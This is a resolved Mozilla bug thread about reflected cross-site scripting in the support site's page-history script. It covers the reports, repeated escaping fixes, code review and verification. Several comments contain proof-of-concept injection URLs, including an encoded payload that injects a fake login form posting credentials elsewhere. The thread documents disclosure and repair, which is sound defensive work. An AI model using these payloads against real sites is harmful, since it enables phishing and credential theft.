463056 - (WH-1628180) XSS vulns on tiki-pagehistory.php

Status: VERIFIED FIXED

(support.mozilla.org :: Knowledge Base Software, task)

Description

[Reed Loden [:reed]]

Need to be logged-in for some of these to really rear their head.

http://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=%3C?importwhs?%3E

http://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=%3C?importwhs?%3E&source=0

http://support.mozilla.com/tiki-pagehistory.php?page=%3C?importwhs?%3E&preview=

http://support.mozilla.com/tiki-pagehistory.php?page=%3C?importwhs?%3E

https://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=%3C?importwhs?%3E

Comment 1

[Reed Loden [:reed]]

Seems like a dupe of bug 463054 if the fix(es) can be generalized.

Comment 2

[Laura Thomson :laura]

The fix for bug 463054 fixed this.  (Same base sanitization lib).  In r19584.

Comment 3

[Reed Loden [:reed]]

Sentinel still shows open vectors:

http://support.mozilla.com/tiki-pagehistory.php?page=Personalitzaci%C3%B3+del+Firefox+amb+complements&compare=1&oldver=2&newver=4&diff_style=%22%20STYLE=%22background-image:%20x(a:whs())

http://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=%3Cwhscheck%3E
http://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=%3Cwhscheck%3E&show_translation_history=1
http://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=%3Cwhscheck%3E&source=1
http://support.mozilla.com/tiki-pagehistory.php?page=%3Cwhscheck%3E
https://support.mozilla.com/tiki-pagehistory.php?page=%3Cwhscheck%3E
<lots more that I'm tired of copying/pasting>

Comment 4

[Laura Thomson :laura]

Attachment: Escape some more stuff.

Comment 5

[Laura Thomson :laura]

In trunk r21537 branch r21538.

Comment 6

[Stephen Donner [:stephend] Not actively reading bugmail]

Ah, ok (talking to myself is a sign of mental collapse, according to Infocom, but here goes): to properly check the URLs in comment 3 for the XSS, you have to login and use https:// schemes, since we've enabled HTTPS.

I've since changed the URLs in comment 3 to that on production, and see the page histories (which means I can reproduce the XSS vulns).  However, when I change those to use https://support-stage.mozilla.org/..., I get "Error

Permission denied you cannot browse this page history"

Verified FIXED

Comment 7

[Michael Coates [:mcoates] (acct no longer active)]

Whitehat discovered this vulnerability to be present again.  It looks like we are doing some sanitization of strings (e.g. <script> becomes <sc<x>ript>) but this approach is not effective.  I can insert an entire HTML form into the page.  We will need to implement a more robust defense performs output encoding on all data accepted via URL arguments and then displayed on the page.

Example:
Whitehat tag:
https://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=Customizing%20Firefox%20with%20add-ons&preview=79%3Cwhscheck%3E


Inserts fake login form into page

https://support.mozilla.com/tiki-pagehistory.php?locale=en-US&page=Customizing%20Firefox%20with%20add-ons&preview=79%3Cform%20method=%22POST%22%20action=%22https://google.com/%22%3EUsername:%20%3Cinput%20type=%22text%22%20name=%22username%22%20size=%2215%22%20/%3E%3Cbr%20/%3EPassword:%20%3Cinput%20type=%22password%22%20name=%22passwort%22%20size=%2215%22%20/%3E%3Cbr%20/%3E%3Cdiv%20align=%22center%22%3E%3Cp%3E%3Cinput%20type=%22submit%22%20value=%22Login%22%20/%3E%3C/p%3E%3C/div%3E%3C/form%3E

Comment 8

[James Socol [:jsocol, :james]]

Attachment: escape and restrict

This correctly escapes everything I could in the page history template--I think, let me know if I missed something--and casts a few remaining query string parameters to integers, which is what they're supposed to be.

Raise your hand if you will be so, so happy when Smarty and this old, busted security crap will be gone!

Comment 9

[Stephen Donner [:stephend] Not actively reading bugmail]

/me raises his hand.

Comment 10

[Paul Craciunoiu [:paulc]]

Comment on attachment 460261 [details] [diff] [review]
escape and restrict

I'm wondering if line #93 (post patch) should be escaped as well, just in case:
> 93.     {if $info.comment}{$info.comment}{else} {/if}
Same for line 151.

Otherwise I think it's all good.

Comment 11

[James Socol [:jsocol, :james]]

(In reply to comment #10)
> Comment on attachment 460261 [details] [diff] [review]
> escape and restrict
> 
> I'm wondering if line #93 (post patch) should be escaped as well, just in case:
> > 93.     {if $info.comment}{$info.comment}{else} {/if}
> Same for line 151.

As far as I can tell, that can include HTML. Though it doesn't seem to, in practice, so I can escape it, too. one sec.

Comment 12

[James Socol [:jsocol, :james]]

Attachment: also escapes the comments

Added escaping on the comments, as well.

Comment 13

[Paul Craciunoiu [:paulc]]

Comment on attachment 460285 [details] [diff] [review]
also escapes the comments

Looks good.

Comment 14

[James Socol [:jsocol, :james]]

r71376

Comment 15

[Stephen Donner [:stephend] Not actively reading bugmail]

Verified FIXED using:

https://support-stage.mozilla.com/tiki-pagehistory.php?locale=en-US&page=Customizing%20Firefox%20with%20add-ons&preview=79%3Cform%20method=%22POST%22%20action=%22https://google.com/%22%3EUsername:%20%3Cinput%20type=%22text%22%20name=%22username%22%20size=%2215%22%20/%3E%3Cbr%20/%3EPassword:%20%3Cinput%20type=%22password%22%20name=%22passwort%22%20size=%2215%22%20/%3E%3Cbr%20/%3E%3Cdiv%20align=%22center%22%3E%3Cp%3E%3Cinput%20type=%22submit%22%20value=%22Login%22%20/%3E%3C/p%3E%3C/div%3E%3C/form%3E

Could no longer see the embedded/inserted login form.

Comment 16

[Yvan Boily [:ygjb][:yvan]]

Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.

Comment 17

[Will Kahn-Greene [:willkg] ET needinfo? me]

These bugs are all resolved, so I'm removing the security flag from them.